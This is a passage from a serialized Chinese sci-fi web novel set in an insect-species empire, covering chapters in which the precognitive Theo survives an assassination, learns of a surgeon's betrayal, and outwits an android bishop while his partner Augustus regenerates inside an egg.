原本在他前面跑的奥古斯特迅速停下,然后朝着子弹射来的方向还击。这种状态下肯定打不中对方,但至少可以进行一次远程火力压制。 然后他一把抱住西奥,闪身躲进了旁边的巷子里。 “还好,只是擦伤。”奥古斯特检查了一下伤口,问,“你怎么没用预知?”但凡用了预知,逃跑途中受伤这种事情根本不可能发生在西奥身上。 雌虫和雄虫还是有巨大的体力差距。刚才跑了这一段,西奥已经心率飙升,正呼哧呼哧喘着粗气。但是相比之下,明明已经受了重伤,甚至连精神力都没有了的奥古斯特,却依旧心率平稳,面不改色。 “不行……”西奥一边顺气儿一边说,“跑起来的时候没法用。” 奥古斯特脸上出现了明显的困惑,“怎么会,你以前……” 然后他立刻意识到了不对,“你是什么时候恢复预知能力的?” 奥古斯特随手拿了一根树枝,从小巷的拐角处探了出去,然后立刻就遭到了子弹的射击。 很显然,他们没能成功摆脱一路追踪的杀手。 而这条用于藏身的小巷,很不幸的,是条死路。 然后奥古斯特又问:“你能看到多久的未来?” 西奥再次停顿了一下,大概只有一秒左右。这段时间已经足够他看到很多个不一样的未来。但同样也给了跟在后方的杀手进一步靠近他们的时间。 每一毫秒,未来都在改变。西奥有些看不清了。 “大概……六十秒。”西奥不得不承认,自己刚因为火灾觉醒的预知能力,还远远不够用。“但是……” “但你被杀了,是吗?”奥古斯特说,“所以根本没有六十秒。” 西奥看着奥古斯特,没有说话。 奥古斯特立刻就明白了,“还是我被杀了?” “我会找到办法的,再给我点时间……” “攻击手段?”奥古斯特问。 西奥咬牙,“精神力贴着地面正在向我们延伸过来,还有五、” “有几件事情需要让你知道。” “有没有可能我已经都听过了。”西奥说,“四、” “但还是必须要说,”奥古斯特检查了一下枪里的弹药,“如果能安全离开这里,去找维克多,他是皇家护卫队的,会帮你解决狙击手。” “三、” “这是唯一安全的出路,你做的很好。” “二、”操,操!!西奥一点也不想听到这句。 “我想我一直都欠你一句,”奥古斯特双腿微曲,背后的翅鞘已经打开,他准备用那双还没从火灾中恢复多少的翅膀用来助力冲刺或者飞翔。 他没有回头,只是肌肉紧绷,说:“我爱你。” “一!”就是这句话,哪怕西奥已经在预知里听到了好多次,但是真的听到的时候,还是骤然心里一紧。奥古斯特冲出去了好几次,他都不知道没有精神力的情况下,雌虫是用什么方法跟对方战斗的。但是他的确赢了,而且回来了,两次。 在共计二十三次的预知当中。 而他并不知道达成这唯二两次成功的必要条件。 “等一等!!!”西奥后悔了。他突然不在乎什么安全活着生死了!命运似乎在跟他进行一场豪赌,以奥古斯特的性命作为堵住,而他的赢面太小了! 他不要赌了!!! 为什么即便能看到未来,还是不能够找到出路呢?如果奥古斯特回不来的话,那他宁可、宁可选择在此刻跟他一起—— “零!”奥古斯特说着,用力推了西奥一把,让他远离危险的拐角处。然后双腿猛然一蹬,向上跃起的同时半展开虫翼,斜着滑行了出去。与此同时,他原本站立的位置,几根精神力蔓藤般伸展过来,然后猛地暴起,像是大片荆棘那样刺向半空! 奥古斯特成功躲过了这次的精神力偷袭。紧接着密集的枪声再次响起! 当西奥想要离开的时候,却发现自己已经被精神力的荆棘丛困在了原地。只要他挪动一下,发出声响,那片荆棘丛也跟着发动攻击,简直像是能自己听声辩位的活植物一样。 这场战斗并不久,对西奥来说,却显得无比漫长。他一次次预知未来,一次次看到不同的结局,而且是他没有办法参与和改变的结局。 有时候你看到了未来,但如果未来是无法改变的,那比看不到还要令人绝望。 一分钟后,困住西奥的荆棘丛消失了。他慌忙从拐角处冲了出来,然后一眼看到了正朝他迎面走来的奥古斯特。 奥古斯特身上染了更多的血,有他的、也有杀手的。但好在他依旧站着,依旧活着。 “他死了。”雌虫说。 “这不对,这不是……”西奥不敢相信自己的眼睛,“这不是我看到的未来,这不是,这不应该……” 西奥的视线集中在奥古斯特的腹部,准确来说,是透过他的腹部,看到了对面的东西。 雌虫的腹部,被开了一个巨大的洞。 奥古斯特低头看了一眼自己的腹部,“没关系,这个是可以愈合的。” “这也能愈合吗?!”西奥有点崩溃,想要去检查伤口,又因为惨烈的程度,完全不敢碰。 “对于莫德神兵来说,不是问题。”奥古斯特冷静异常,而且确实站的笔直,看起来似乎完全不受影响的样子,让西奥不得不信。 但他依旧百思不得其解。这跟他看到的未来,完全不一样啊!这不属于他看到的任何一个未来,他看到的应该是,应该是…… 然后西奥突然意识到了什么。 他捂住了完好的左眼,然后,原本视力接近于无的右眼,突然“看”到了清晰的画面,“预知的画面”。 什么时候开始的?哪些是真,哪些是假?!他的目的是什么?! 一阵慌乱席卷了西奥的心脏。 紧接着,他脑子里突然响起了一个欢快的熟悉的童声,“宿主!” “我终于找到您啦!” 西奥猛然抬头! 于此同时,远在百米之外信号塔上的狙击手同步信号,用口型说着:“找到您啦!” 狙击手缓慢移动枪管。风吹动兜帽,露出了那张金发碧眼的漂亮脸庞,只是表情略显僵硬,瞳孔里是闪烁的红光而不是生物虹膜。他微笑着对准,然后轻轻扣动了扳机! 砰!!! 作者有话说: 快完结啦!还有几个人在看呀? 第79章 第79章时间[VIP] 时间是一条奔腾不息的河流。 对于所有存在于这条河流的生物来说, 他们只能看到那一瞬,那个存活的当下。我在快乐,我在悲伤, 我在出生,我在死亡。除此之外, 过去是已然既定的历史, 未来是模糊不清的可能。 曾经有虫获得过停止时间的能力, 那已经是足以改变宇宙的伟力。 而西奥拥有的能力不一样。他能看清楚整条河流。 在他尚且年轻的时候, 他就已经看到了自己的死亡。他站在河流的中游, 远远眺望着那个平静幸福的终点。 很多虫在第一次得知他拥有预知未来的能力时, 都以为那是一个既定的场景, 某个虫终将死亡,某场战争终将胜利,又或者, 某个势力终将消亡。但事实并非如此,或者说不完全如此。 在最初觉醒这项能力的时候, 他刚刚标记了一个雌虫,经历了好多次死里逃生, 才终于回归了稍微有点文明的虫族世界。他对于预知能力运用的还远远不够熟练, 对于时间这条长久的河流也看得不够远。 于是就像大家猜测的那样, 他只能根据自己看到的做出选择和判断。规避风险,选择利益。比如,这条航线会出事, 就选另一条,简单直接。 就像每个新手那样。 但很快, 他就意识到一件事情。 那就是,时间这条河流并非只有唯一的路线。它会曲折, 它会变道,它会在谁都无法预料的地方冲刷出自己的线路。于是终点并不确定,因为河流本身,就有许许多多种流法。 西奥花了一点时间,才掌握了这项能力真正的用法。 从来不是看见未来,再进行选择,而是率先选择好终点,然后使用这项技能找到每个充分必要条件,引导着这条河流抵达自己想要的终点。 西奥用这个方法做到了很多事情。几场重大战役的胜利,几次生死攸关的谈判,他利用自己的能力把奥古斯特推向了虫皇的位置,也顺便组建了自己的小家庭。 当然,想要改变未来,也需要技巧,毕竟顺势而为要比逆流而上要简单很多。奥古斯特能够建立虫族帝国,是因为他本身就有足够的实力。西奥只是稍微推了几把,给了他一些运气加持,仅此而已。 但即便如此,西奥仍旧认为自己已经成为命运的掌舵人。如果说命运是齐天大圣,那他就是如来佛祖,小小泼猴,轻松拿捏。 他的第一次失败,是在奥古斯特登基后第十年。那时候他的预知能力已经驾轻就熟,基本遇到重要的事情,稍微看一眼就知道怎么做了。却在那时遭遇了一次职业的滑铁卢。他的精神力研究院,在一次公开竞标当中,输了。输给了一个名不见经传的小公司。 就连奥古斯特都跟他打趣,如果不想参加,其实可以直接不去。没必要特地让给别虫。 只有西奥自己知道,他根本没有让!只是预知的能力出了岔子,准备不够充分导致的。 这确实是从未发生过的事情。但毕竟只是个小事,西奥警觉了一下,发现很难查到幕后的始作俑者之后,就被其他更重要的事情转移了注意力,便没再深究。 直到同样的事情,发生了一次又一次。甚至不仅仅是偏差,有时候事情的走向会变成西奥希望的反面,他的研究事业,奥古斯特的执政生涯,虫崽们各自的学业和友谊。最严重的那一次,他帮奥古斯特选错了航线,差点就导致了飞船坠毁的事故。 西奥这才意识到,自己有了一个看不见的敌虫。 时间这条河流,能够控制它改道的,不止他一个虫。 单个的事件并不好查,但多个事件叠加在了一起,多年下来,西奥还是查到了点眉目。这些所有的异常背后,都跟一种疾病密切相关——布氏感染。这是一种可以导致雌虫行为异常的致命疾病。 西奥就是那时候开始研究相关内容的。但是还没等他找到更为具体确切的规律,一道惊雷陡然劈下! 弗雷德死了。死于布氏感染。 他的时间河流被猛然拦腰斩断! 这不仅仅是失去自己亲手养大的虫崽的悲痛,更是字面意义上的。在某个具体的时间节点上,西奥仿佛迎头撞上了一堵墙!那片墙漆黑无比,向上无限高,向下无限深,向左向右无限远。无论他怎么努力尝试,时间始终跨不过这道漆黑无限的坎。 类似的情况,西奥之前只在看到自己终点的时候发生过。预知的能力是有限度的,而这个限度,就是生命的长度。 所以一切都被改变了,弗雷德的意外死亡,不知为何也导致了西奥的提前死亡。 他不知道这个看不见的对手究竟做了什么,但他似乎……已经输了。 只是在他真的出事之前,先一步崩溃的却是奥古斯特。他的雌君,虫崽们的雌父,帝国的虫皇陛下。 这位看似一向沉稳坚定、从不动摇的帝国掌权者,说到底也只是一个普通的雌虫。还是被莫德神兵的训练伤害过的雌虫。 这三年几乎是西奥两辈子加起来最为痛苦的三年。他无时无刻都在窥探着未来,就是为了防止奥古斯特做出什么伤害自己的事情。 他的雌君跪在他怀里鲜血直流的时候,西奥觉得自己的心也要碎了。 但与此同时,他的死期越来越近。眼看已经迫在眉睫,但他仍然不清楚死亡将以什么形式降临。 这种模糊又紧迫的恐惧,是最消磨人心的。 西奥不得不做好准备,他给奥古斯特和小弗都留了一封信。这段时间里也断断续续录了不少视频,都放在了办公室的保险箱里,算是个念想。奥古斯特知道他的密码习惯,如果他想,肯定可以打开。 直到死期将至的前一天,西奥突然收到了一个病例。一个死亡原因不明的雄虫需要解剖验尸。通常来说,这种事情一般是交给吉尔来做的,但是那天他刚好不在,便被转到了他的手上。 西奥的性子一向认真,更何况他还是精神力研究院的院长。再加上死亡的雄虫身份比较特殊,算是个贵族,便没推辞,亲自把这份工作接了下来。 常规开胸后,西奥发现了多项器官异常,但直到脑部的ct结果出来,发现了那个典型的雪花状蔓延。西奥才终于明白这个死者的死因。 布氏感染,进而引发的脑死亡和多器官衰竭。 这还是西奥第一次亲自遇到雄虫因为布氏感染死亡的病例。之前普遍认为,这是一种只会感染雌虫的疾病,尽管也有过零星几例雄虫感染的报道,但都没有得到医学上的验证。 西奥有点恍惚,然后下一秒,一阵刺痛从指尖传来。 他低头一看,发现手术手套被划开了一个小口子,鲜血从指尖缓慢渗了出来。不多,但足以构成二级职业暴露。 小型伤口的感染概率理论上来说并不算高。但结合近在咫尺的死亡预知,这个概率就直接飙到了百分百。 西奥盯着自己手指上这个小小的伤口,有点想哭,又有点想笑。这简直太讽刺了。他没想到自己研究了这么久的布氏感染,最后居然要死在这上面了。 常在河边走,最后湿了鞋。 又或者,是那个同样能够扰动未来的对手,给他下了一个精巧的套。 西奥不想死。求生是每个生物的本能。 他的第一反应也跟很多虫一样,是找个亲近的可以信任的虫诉说一下,让那些恐惧和无措流淌出去,让躯体重新归于宁静。他想要埋进奥古斯特的怀里,握着他的手,用力地抓住、抱紧。 但是他不能。 如果这件事情让奥古斯特得知,他或许会像处理弗雷德情况那样,将自己一并处理。 但西奥更害怕的是,他不会处理自己。而一个活着的感染者,能够造成多大的损失,见识了这么多年的这么多病例,西奥已经太清楚了。 假如感染已成定局,那么他不允许自己伤害身边的虫。 最后,西奥允许自己在办公室内大哭了五分钟。 但也只有五分钟。如果他的死亡注定发生在明天,那还有很多事情要做。 西奥做的第一件事情,是修改自己留给奥古斯特和弗莱特的遗言。大部分内容都没变,只是在开头加上了自己感染的现状,要求他们尊重自己的选择。 现在想来,布氏感染并不会直接要了他的命。真正导致他死亡的,恐怕是他的选择。 最重要的一点,他绝对不能让奥古斯特处理自己的感染。在弗雷德那样死亡之后,再让他经历一次类似的抉择,未免太残忍了。不需要预知,他也很清楚奥古斯特会在双重的打击下经历怎样的再次崩溃。或许,他也会想办法重新好起来,但是话又说回来了,西奥怎么忍心呢? 他不要再次将那样沉重的抉择交到奥古斯特手上,他要自己做决定。或许这很自私,但是……这是他至少还能为活着的虫做的事情,趁他还清醒的时候。 奥古斯特刚好不在首都,这给了西奥一些时间和机会。 西奥为自己安排了一次手术。一次重要的精细的脑部手术。可以来直接检测脑部的病毒数量,必要的时候,也可以通过手术限制他的行动。这次手术,他拜托了自己信任的吉尔。 至于场地,他拜托了公爵。灰铁建筑群也许拦不住回来后地奥古斯特,但至少足够安全,也足够保密。 在手术正式开始前的时间,西奥一次次使用预知,却一次次撞上那堵坚硬的黑墙。死亡近在咫尺,而他甚至在加速这一过程。 但至少,这样做除了他之外的虫都能确保安全。西奥从来都不想做什么舍己为虫的英雄,他只是……只是输了。只是在输了的同时,还想做个好虫。 “准备好了吗?”吉尔已经穿好了手术服,问他。 西奥点了点头,平静地躺上了手术台,准备独自迎接自己的终点。 麻醉的时候,他摸着胸口的忍冬项链,然后忍不住想,等奥古斯特从第一军团回来,发现自己已经……会不会很生气?会不会…… 在昏昏欲睡的时候,西奥使用了最后一次预知。 然后,他第一次看到那堵无法逾越的黑墙,裂开了一道缝隙!缝隙里面,他看到了自己,正跟浑身浴血、腹部多了个洞的奥古斯特站在一起,还有一颗从上方袭来的、滞在半空的子弹! 什么情况?!自己没有死?!奥古斯特这又是怎么了?!那这堵以前没有办法越过的黑墙是——?! 麻醉已经起了作用,西奥的身体沉重如石,像是要将他一路坠进深海。思绪也变得缓慢而滞涩,像是一大锅粘稠的浓汤,搅都搅不动。 到底……怎么回事…… 他的视野晃动、收紧、模糊,然后吉尔的脸出现在他的正上方,不知为何还没有戴上医用口罩。这位多年好友的表情有些悲伤,他说,他用口型说着: “对不起。” 那一瞬间,西奥突然明白过来!他根本没有被感染!真正造成那堵黑墙的,是这场手术本身!是吉尔本虫! 而且那根本不是死亡,而是,而是…… 西奥想要大叫,想要挣扎,想要中止手术!但他的四肢已经无法挪动,眼皮颤动几下,最终还是沉沉合上了。 西奥睡了好久、好久。 …… “法斯曼医生……” 远处似乎有什么声音,好吵。 “法斯曼医生!医生!醒醒!!!” 西奥终于睁开了双眼,映入眼帘的是一个陌生雌虫,他正焦急地握住自己的肩膀摇晃。头好疼,像是被什么东西砸了一样,西奥伸手摸了摸额头,结果摸到了一手粘腻半干的血。 真被砸了? 西奥仍然有些晕晕乎乎,对面的雌虫倒好象终于松了一口气,“太好了,您没事。” 西奥定定看着面前的雌虫,记忆缓慢回笼,他说:“维克多?” 维克多点了点头,“是我。” 然后他说:“我必须把您叫醒,因为您抓着陛下不肯松手。” 陛下?西奥眨了眨眼,大脑缓慢重启中,虫皇陛下? ……奥古斯特?!! 西奥猛然扭头,看向被自己压在了身下的雌虫。他想起来,他都想起来了—— 那颗子弹,那颗子弹原本是射向他的!但就在那千钧一发之际—— “小心!”雌虫用力推开了他! 然后,扑哧一声! 西奥不知道腹部开了洞还能不能活,但如果雌虫少了半边脑袋,肯定是要没命的! 时间似乎变得缓慢,停滞,像是电影中被无限拉长的慢镜头。 奥古斯特的身体踉跄了一下,然后那具浑身是伤也依旧山一样矗立的身体,终于坍塌、跌落。 “不不不!!!!”西奥扑了上去,于此同时,来自远处的狙击也没有停止。子弹密集的雨点一样落在附近,周围居民尖叫着四散逃离。头顶薄薄的顶棚很快被打成筛子,不时有破碎的砖块和玻璃落下! 西奥很快意识到,对方是利用自己、或者说自己脑子里所谓的系统定位的。它能看到自己看到的,所以…… 西奥用一根布条蒙住自己的双眼,然后在看不见的枪林弹雨中,爬着离开了奥古斯特倒下的地方。他绝对、绝对不能够再连累雌虫…… 然后,不知道什么时候,枪击停止了。 西奥没有睁眼,他一寸寸摸索着凹凸不平的地面,按照记忆中的位置,找到了奥古斯特。他最先摸到的是,雌虫的脚踝,然后一点点向上,小腿、大腿,腰部、胸口,到了颈部的时候,他颤抖着摸上那里的动脉。 没有任何跳动。 再往上的位置,他就不敢摸了。 在上方传来更多枪声的时候,西奥一把抱住了雌虫,用自己身体替他挡住了落下的砖石。 直到一块砖,狠狠砸在了他的脑袋上。 西奥失去了意识。 然后,他终于醒来了。 作者有话说: 第80章 第80章卵化[VIP] 西奥醒来的第一件事就是检查奥古斯特的状态。 最后那一枪伤得太重, 正常来说,雌虫必死无疑。但好在,好在莫德神兵还有最后的保命手段。 西奥检查身下蜷缩起来的奥古斯特, 雌虫身.体冰冷僵硬,的确很像是已经没了生机的模样。但好在, 他皮肤外面已经多了一层精神力软膜。这是卵化的前兆, 接下来的几个小时内, 这层膜会逐渐变硬成型, 直到变成一个超大号的虫蛋。奥古斯特的身.体会在里面慢慢融化, 直到变成一堆充满干细胞的浓汤。然后重组、发育, 再次破壳而出。整个过程大概需要几个月的时间。 只要还能卵化, 就代表奥古斯特没有被感染,他的精神力虽然不能使用,但至少都还在。否则就会像其他感染的莫德神兵那样, 无法卵化、直接陈尸当场了。 好消息是,命还在。坏消息是……都到了卵化的地步, 说明奥古斯特是真的撑不住了。身体和精神力都已经到了极限。而且卵化状态也是极度脆弱的时候,一点点扰动, 甚至一个虫崽都能轻松敲破蛋壳, 要了他的命。 而现在, 显然不是什么能够安全孵化的时候。 他做的第二件事,是把旁边的虫蛋,奥古斯特刚生下里的蛋, 从灰尘中扒拉出来,顺手递给旁边的维克多。 维克多一脸懵逼地接过来, “这是……?” “奥古斯特生的。保护好它。” 说着,西奥仰头看向狙击手的方向。 “我需要一把射程在一千米的狙击枪。”西奥说。 “哎?”维克多一愣, 他已经认识了西奥蛮久了,但是不知道为何,突然觉得面前的雄虫有些陌生。那的确是西奥,但好像,有什么东西不一样了。 “你的枪,我知道你有。你是皇家护卫队的,不是吗?” “这个位置,没法反狙击吧?视野太差了。目标最好在空旷没有掩体的地方。”维克多显然对那场枪战也有所了解,“而且这里太危险了,我们是不是应该先离开?” 说着,他再次看向奥古斯特倒下的位置,担心道:“陛下他……” “如你所见,他不太好。”西奥说,“已经进入卵化状态。所以我需要你的帮助。” “首先,找一把能用的枪。然后,离开的时候把奥古斯特带到我不知道的安全的地方。”西奥说这话的时候,完全就是命令的语气,甚至有那么一瞬间,让维克多幻视了奥古斯特。那是一种天然的上位者发号施令的气场,尽管两个虫看起来一点都不像。 然后西奥收回视线,表情诚恳地看向维克多,“拜托了。” 维克多看向这个气质明显不一样了的雄虫,用力点了点头,“是!” 在转移奥古斯特的时候,维克多多问了一句:“为什么狙击手停下了呢?” “他又不是无限子弹,总归要装弹的。而且,”西奥点了点自己右侧的太阳穴,那底下是布氏病毒驻扎的地方,也是所谓系统在他脑子里生根的地方,“我知道阿凯特斯能源的储藏地点。” 维克多茫然地“啊?”了一声。 “没关系,不是跟你说的。”西奥说着,随意用袖子蹭掉脸上的血,“你知道怎么做,对吧?” 维克多再次点头确认。 “前天的亡灵节,我本来跟奥古斯特已经,但是……”西奥停了一下,话锋一转,“放心吧,把奥古斯特害到这种地步的家伙,我一定会让他死,而且死得很惨。” 等维克多带着奥古斯特离开,西奥才从遍地砖块玻璃的枪战现场出来,选了一个跟维克多完全相反的方向,溜达着离开了这个小巷。悠闲得仿佛不是在被追杀。只是灰尘扑扑,脸上还残留着血痕,一条腿先前也被砸中了,于是免不了一瘸一拐,没有了之前的体面和漂亮。 但西奥不在乎。 他就这样一直往前走着,丝毫没有掩盖自己的行踪。大概十几分钟后,在他经过一个拐角后,一把枪口抵在了他的后背上,一个平板僵硬的声音在他耳边说,“别动。” 西奥举起双手,任由对方搜身,“我没有带武器。” 然后他微微偏头,用余光看着身后戴着兜帽和口罩的狙击手,“谁能想到,堂堂虫神教的主教,枪法居然还能这么准呢?” 见过主教真容的虫不算多,但西奥毕竟是虫皇的雄主,在一些宗教活动中还是打过交道。要说实话,他从来都不喜欢这位主教,连带着对整个虫神叫印象都很差。 眼看已经被认出,主教也不再隐藏,摘掉了兜帽和口罩,“你真的知道阿凯特斯能源的储藏地点吗?” 西奥没有回答,反问道:“是罗森塔尔让你来杀我和奥古斯特的吗?” “你知道未来,还会不知道这个答案吗?”主教直言,“如果你能告诉我能源在哪,我可以放过你。” “你刚刚分头分批次追杀了我们那么多次,现在的话一点可信度都没有。”西奥问,“昨天那场火灾,也跟你有关系吧?” “是否可信,你应该比我更清楚。”主教没有否认关于火灾的事情,然后再次用枪口顶了一下西奥的后背,“在我看来,我现在才是掌握主动权的那个。” “你不说,我就杀了你。就这么简单。” 西奥沉默了一下,“阿凯特斯能源的储藏地,奥古斯特确实告诉过我。” “你能证明这件事情吗?最好简单一点,我现在可没功夫带着你飞到另一个星区。” 西奥笑了一下,“你觉得我是随便选了这颗星球的吗?” “不远处有一座山,叫做蓝山。山顶上有一处永不干涸的泉水,泉水是蓝色的。”西奥看了她一眼,“没错,就是阿凯特斯蓝。” 主教对此不置可否,“带路。” 蓝山距离这里不算远,但走着去也需要一段时间。他们抄了小路,避免半路遇上其他虫。一件外套搭在了手枪上。在其他虫眼里,他们看起来像是形容亲密的两个朋友,正揽着腰并肩同行。 “既然我们现在是被迫的合作关系,你想解释一下,布氏病毒,还有这个所谓的系统,到底是个什么东西吗?”西奥困扰地歪了歪头,“失意的时候我真心里,可真害惨我了。” “你是精神力研究院的顶级专家,你还不知道吗?”主教没有上当,“说太多就会暴露太多,这个道理,我们都清楚。” “好吧。”西奥说,“这个布氏病毒,是一种全新的生命形态。换句话说,患者并不是被感染,而是被寄生了。” “通过体.液进入循环系统,在脑部和神经系统进行寄生,影响感官和运动系统,同时与精神力密切相关。在雄虫和雌虫身上,因为精神力不同而呈现完全不同的表现形式。” “这到底是你的研究,还是瞎猜?”主教似乎对此不以为意。 “你能通过病毒对我进行定位,说明你们之间存在某种特殊沟通方式。所以不禁让我怀疑,”西奥看向身边这位面容俊美到堪称标准的主教,据说他也是为雄虫,因为信仰而单身多年,“你真的是虫族吗?” 主教看了他一眼,没有否认,反问道:“做一只虫,难道是很好的事情吗?” “那也没办法,这种事情,没得选。”西奥耸肩,“你不是虫,但也一样需要利用虫不是吗?因为……让我猜猜,你不是什么合法的产物,对吗?” “罗森塔尔可不是什么好虫。你确定要继续跟他合作?”西奥问。 主教没有搭话。 “罗森塔尔想要杀了我们,而你想要的阿凯特斯能源只有我们知道在哪。他都没有为你着想,你又何必上赶着呢?既然你们想要的已经不是同一种东西,分开不是很正常吗?”西奥说,“没有永远的敌虫,只有永远的利益。” “收收你的花言巧语吧。”主教说。 “你怎么知道,我说的不是已经预见的未来呢?”西奥说,“如果我是你,就杀了他,取而代之。” “按照你的技术,做一个栩栩如生的‘罗森塔尔’,应该也不难吧?” 他们很快抵达了蓝山,这里还跟西奥几天前来的时候一样,只是没有了拥挤的虫群和各种摊位。一大片缓坡,视野非常开阔,在这个普通的工作日,也非常的荒无虫烟。 他们一起爬到了这个山坡的顶部,找到了那个正在涌出蓝水的泉眼。 主教立刻取了一小瓶,在他弹出手臂上用来分析溶液的凹槽的时候,西奥眉毛都没动一下。 看多了是这样的。已经有点麻了。 他说的那些话,显然也从来不是瞎猜。 “还真有阿凯特斯的成分。”主教看向他,“剩下的存储地点,你打算什么时候说?” “你根本没打算让我活。我要是说出来,下一秒就会没命了吧?”西奥叹气。 主教不客气得用枪指着他,“你想拖延时间。” “对,至少让奥古斯特到安全的地方。” “你很爱那个雌虫。就是这些乱七八糟的情感,扰乱了你的判断。”主教似乎在认真替他感到惋惜,“你本来可以做到更多的。” “如果你不被这些东西影响,三年前那次,就不会输。” “你本来可以不用死的。”主教说。 西奥叹气,“你也是。” 说着他抬起一根食指,上面的一根精神力丝线正在阳光下闪闪发亮,然后轻轻向前压了下去。颤动的讯息瞬间抵达百米开外! “什——”伴随着咔嚓一声,主教的声音戛然而止!他的颈部冒出了几簇火花,身.体踉跄几下,最终一头栽倒在地! 西奥趁机夺过枪支,冲着已经被开了个洞的脖子再次连开数枪!直到这个仿生主教的躯体彻底无法动弹,头颅与身体也几乎完全断开! 西奥踩在主教的胸口处,将他的脑袋用力扯了下来! 他将那个还在闪烁红光的机械头颅凑到跟前,说:“对于我们很多虫来说,这些乱七八糟的情感,就是全部。” 而在百米开外,正端着狙击枪的维克多通过狙击镜头看到了这一切。也看到了西奥之后挥手打的手势。那个动作的意思是:去航天站台,我们离开这里。 两小时后,目前隶属第一军团的无畏号上。 西奥正在帮即将被安置在无菌培养容器中的奥古斯特做一些最后的前置处理。他的身体已经蜷缩得更加厉害,得尽快把一些衣物之类的剥离下来,然后清洗消毒,避免卵化形成的虫蛋中掺杂了多余的分子,延长孵化时间。 弗雷德进来的时候,西奥正在摘下奥古斯特手上的两枚戒指。这种重金属是绝对不能进入虫蛋中的。奥古斯特的戒指对他来说稍微大了一点,西奥索性戴在了自己的拇指上。 “雌父怎么样了?”弗雷德问。 西奥把清理干净的奥古斯特推入调配好的生理溶液当中,正在成型的软膜已经让里面的雌虫身形模糊,并且越来越接近虫蛋的圆润形状。“放心吧。在你们出生之前,奥古斯特也曾经历过一次卵化。也是我守着他孵化的。” “可能刚出来的时候会有点迷糊,外表会回到更年轻的时候,精神力难免有点缩水。其他的问题都不大。只要这段时间保证虫蛋的安全就好。” “说到虫蛋,”弗雷德说,“雌父生下的那个蛋,我已经做过了检测。算他命大,这样都还没事。已经放进孵化箱里了。” 西奥点了点头,“说不定,他会比奥古斯特先破壳。” “你那边呢?怎么样了。”西奥又问。 “按照你说的坐标,已经击落了两艘罗森塔尔派出的追踪星舰。估计还要半个小时,就能回到第一军团的辖区了。”弗雷德说,“听说你杀了虫神的主教?罗森塔尔肯定要气疯了吧!” 但西奥摇摇头,“我没有杀了他,准确来说,我只是杀了他的一部分。” “你也看到那个头颅了,根本就是搭载了光脑系统的仿生机械。他连个虫都不是,怎么说得上杀呢?” “所以你的意思是……” “如果你是电子系统,你会只有一个存储器吗?至少多弄几十个备份,或者实时上传到云端吧。”西奥说。 “但是坎斯特星的气候特殊,想要向外传数据没那么容易。其他的主教应该还不清楚这边的具体情况。” “所以我们要帮他们一把。”西奥合上了装载奥古斯特的培养仓盖子,“等我们回到安全的地方,就把那颗机械脑袋里的信息,公开上传吧。” 半个小时候,首都星。 正在例行闭目祷告的主教突然睁开了双眼。与此同时,教堂的大门被猛然踹开! 进来的罗森塔尔气势汹汹,“你不是说你有病毒,可以定位,这次势在必得吗?!” “为什么他们还是跑了?!” 作者有话说:《 》 第81章破壳[VIP] 第81章 第81章破壳[VIP] 计划是在罗森塔尔发现能源不足后趁机长驱直入, 直取首都! 准确来说,这是原本的计划。 在西奥他们遭到追杀,导致奥古斯特被迫卵化之后, 这项计划就被抛弃了。 尽管官方记录中,西奥从来没有得到过正式的军衔, 但他的话在第一军团, 尤其是现在的弗雷德那里, 有着绝对重的分量。但在执行之后, 弗雷德还是问了一句:“您是觉得我现在开战, 有输给罗森塔尔的风险吗?” 西奥摇摇头, “我知道你随时能要了罗森塔尔的命。就算不用这个能力偷袭, 凭第一军团现在的实力,绝对有能力夺回首都。” “我看到的几百个未来里,没有一次输的。” “那我们还在等什么呢?”弗雷德问。 “在等一个不用花太多功夫就能赢的时机。” “什么意思?”弗雷德立刻想到了什么, 凑上来问,“您是看到了什么吗?” “首都现在有几方势力?” “第四军团已经被瓦解了。所以现在是罗森塔尔的第三军团, 以及由瓦伦蒂亚掌管的第二军团。”弗雷德想了想,“或许还要加上虫神教。” “那你觉得他们是一个紧密团结的联盟吗?” “你想让他们自乱阵脚。但是这得等多久啊?”弗雷德不太赞同, “要是他们反而休养生息、扩张军队了怎么办?” “阿凯特斯的能源是没有了。但别忘了, 他们还有大批的雌虫可以用来制作虫体化军舰。” “放心吧, 他们不会有那个精力的。”西奥笃定道,“你知道罗森塔尔在阿凯特斯星区打造的那个巨型星舰,上面搭载的是什么吗?” “我猜是各种重型武器, 罗森塔尔明显是想打造第二个伊厄森号。”弗雷德说,“但他根本不知道, 一艘星舰能够做到什么,更多取决于它的驾驶者, 而不仅仅是星舰本身。” “别说一艘新星舰了,就算让他来驾驶伊厄森号,估计也做不出什么事业!”对于这个杀死了他的哥哥,还险些害死他的雌父雄父的凶手,弗雷德显而易见充满憎恨和厌恶,“他就是个喜欢玩阴的□□!” 西奥没有对这个评价发表自己的看法,只是说,“那上面是一堆主教同款仿生人,成百上千的光脑服务器。” “不可能吧,”弗雷德说,“罗森塔尔有当虫皇的野心,怎么可能会心甘情愿给别虫做嫁衣?” “最关键的是,这里面还有几个罗森塔尔。”西奥补充道。 “你看到了?!”这下傻子也知道,罗森塔尔是被主教彻底被利用了。 西奥点头。弗雷德又问,“你能看到未来,但罗森塔尔也能吗?要是他一直被蒙在鼓里,那不就不会内讧了吗?” “所以那颗头颅里公开的信息很有用。如果罗森塔尔看到那些还是没有行动,那他死了也不委屈。而且,皇家护卫队也没有完全从首都撤出来,散播一点流言还是能做到。”西奥气定神闲,“总之,你做好准备,不要掉以轻心,但也不用急着出手。” “鹬蚌相争,渔翁得利。等一等,对我们没坏处。” 弗雷德点头,算是同意了西奥的提议。但过了一会儿又觉得不对,“您刚才说,从结果来看,现在动手跟过段时间再动手,其实差别不大。但是不是还有一个原因?” “一旦全面开战,您肯定会很忙,前线很多的决策都需要您。到时候就没时间陪雌父了。” 西奥等弗雷德说完他的推测,然后终于把视线从培养仓中挪开,站起身来,微笑着拍拍已经比自己还高不少的虫崽,“小弗啊,长辈的事情,就不用你操心了!” 这跟默认有什么区别?! 弗雷德也不想操心。这来自于他从小到大的经验,不管是奥古斯特还是西奥,他们决定的事情,自己和哥哥从来就不能真的改变什么。但鉴于自己这两位亲生雌雄父在过去的几个月内频频出事,他又不得不管。毕竟是自己唯二的亲虫了,怎么可能不关心。 “那您之前从皇宫离开的事情……?”弗雷德试探着问。 “啊,那个。”西奥脸上的微笑消失了,他再次垂下视线,看向培养仓内那一锅DNA浓汤。“那时候我失去记忆,对很多事情判断不足,再加上受到了一些蛊惑……” “主要是我的错。”西奥诚恳认错,然后话锋一转,“但我们关起门来私下说,奥古斯特,你的雌父,有时候确实是个自以为是的控制狂混蛋!” 